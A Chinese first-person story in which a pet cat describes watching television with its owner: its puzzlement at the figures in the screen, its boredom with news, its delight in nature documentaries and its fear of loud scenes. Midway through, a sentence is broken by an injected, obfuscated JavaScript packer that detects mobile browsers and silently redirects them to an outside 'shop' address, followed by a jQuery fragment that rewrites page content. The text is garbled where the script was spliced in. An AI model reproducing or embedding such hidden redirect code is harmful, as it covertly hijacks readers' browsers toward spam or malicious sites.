那个巨大的、扁平的发光方块（电视），是家中一个恒定但变幻莫测的存在。大部分时间它是暗的，像一块黑色的玻璃。但当它被唤醒，里面就会涌现出一个光怪陆离、声响纷杂的奇幻世界。
最初，电视亮起时突然爆发的光亮和声音会吓我一跳，让我立刻躲到沙发后面观察。但很快，我习惯了它的存在，并开始以一种猫的视角，尝试理解这个被框起来的、二维的宇宙。
这个世界里充满了会动的小人儿（人类），他们比真实人类小很多，动作有时连贯流畅，有时一跳一跳的（换台或信号问题）。他们说话、唱歌、哭泣、大笑，声音从方块两侧或下方的黑洞（扬声器）里传出来，被放大，充满整个房间。他们生活的场景瞬息万变：一会儿在房间里，一会儿在街道上，一会儿又在山林或太空里。
这让我十分困惑——他们是如何在那么小的方块里完成如此快速的时空跳跃的？
更让我着迷的，是这个世界里出现的动物。狗、猫、鸟、狮子、老虎……它们看起来栩栩如生，会动，会叫，但气味完全缺失，而且似乎被困在方块里，永远无法走出来。
我会聚精会神地盯着屏幕上出现的猫，尤其是那些动作敏捷、毛色鲜亮的。当电视里的猫“喵喵”叫时，我的耳朵会竖得笔直，有时甚至会不由自主地回应一声“喵？”，或者走到电视后面，试图寻找那只猫从哪里进去的，又藏在哪里。
当然，我一无所获。屏幕后面只有发热的机身和一堆电线，没有任何活物的气息。这让我意识到，电视里的生物，和镜子里的倒影有某种相似之处——看得见，听得着，但摸不到，闻不见，不是真正的生命。
它们是光的幻影，声音的幽灵。
尽管如此，电视依然是我的重要娱乐来源之一，尤其是在他观看的时候。我会选择他腿边或沙发另一端的位置趴下，半眯着眼，耳朵随着电视里的声音转动。不同的节目有不同的“风味”。
新闻节目最无聊。通常是几个表情严肃的人类坐在桌子后面说话，或者播放一些晃动的街道、车辆画面，伴随着急促的旁白。声音单调，画面重复，我通常看着看着就会打起盹来。
体育节目，尤其是那些有快速移动小球（乒乓球、网球、足球）的，能短暂地抓住我的注意力。小球飞快地来回弹跳，我的脑袋也会跟着左右摆动，爪子微微颤动，有种想要扑抓的冲动。但很快我会意识到那是在屏幕里，无法触及，兴趣便消退了。
自然纪录片是我的最爱！
当屏幕上出现翱翔的雄鹰、疾驰的猎豹、潜游的海豚，或者茂密丛林里各种奇形怪状的昆虫时，我会全神贯注，眼睛瞪得溜圆，身体紧绷，仿佛自己也置身于那片荒野。鸟儿的鸣叫，野兽的吼声，风吹过草原的沙沙声，都通过扬声器逼真地传来。
虽然知道是假的，但那种原始的、关于广阔世界和狩猎本能的共鸣，依然会让我心跳加速，尾巴激动地轻拍地面。他会注意到我的专注，有时会特意调到动物星球频道，笑着说：“芝麻，看，你的亲戚。”
电视剧或电影则像一场漫长的、无法理解的戏剧。人类的情感纠葛、复杂的对话、突然爆发的音乐或巨响，对我来说只是一连串无意义的声光刺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420554|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
激。我往往只看一会儿，就去关注更实际的东西，比如他手边有没有零食，或者阳光移动到了哪里。
电视也有让我害怕的时候。
比如突然出现的巨大爆炸声、尖锐的警报声、或者恐怖片里诡异的音效和狰狞的画面。我会立刻炸毛，躲到他身后，或者直接窜到沙发底下。他会赶紧调小音量，或者换台，把我抱出来安抚：“不怕不怕，是假的。”
久而久之，看电视成了我们共享的一种背景活动。他享受他的节目，我享受他的陪伴，以及偶尔节目中出现的、让我感兴趣的片段。电视的光影在他脸上明灭，我趴在他身边，呼噜声与电视的对白交织在一起。
这个奇幻的、框起来的世界，是我理解人类娱乐和想象力的一个窗口。它提醒我，我的两脚兽不仅仅存在于这个现实的、有食物和抚摸的世界里，他的精神还会游荡到那些由光和声音构成的、虚幻的故事中去。
而我的存在，似乎能将他的注意力，不时地从那个虚幻的方块里拉回来，回到这个有温度、有毛茸茸触感的现实。
当电视关闭，世界重归寂静和黑暗，只剩下我们彼此的呼吸声时，我总会感到一种莫名的安心。
虚幻的光影再绚烂，也比不上此刻他手指真实地、有一下没一下梳理我皮毛的触感。
电视里的世界很大，但装不下一个我。
而他的身边很小，却是我全部的、触手可及的宇宙。
日光之下，有真实的温暖，也有虚幻的光影。
而我，选择紧挨着那份温暖，偶尔瞥一眼那些光影，作为生活的点缀。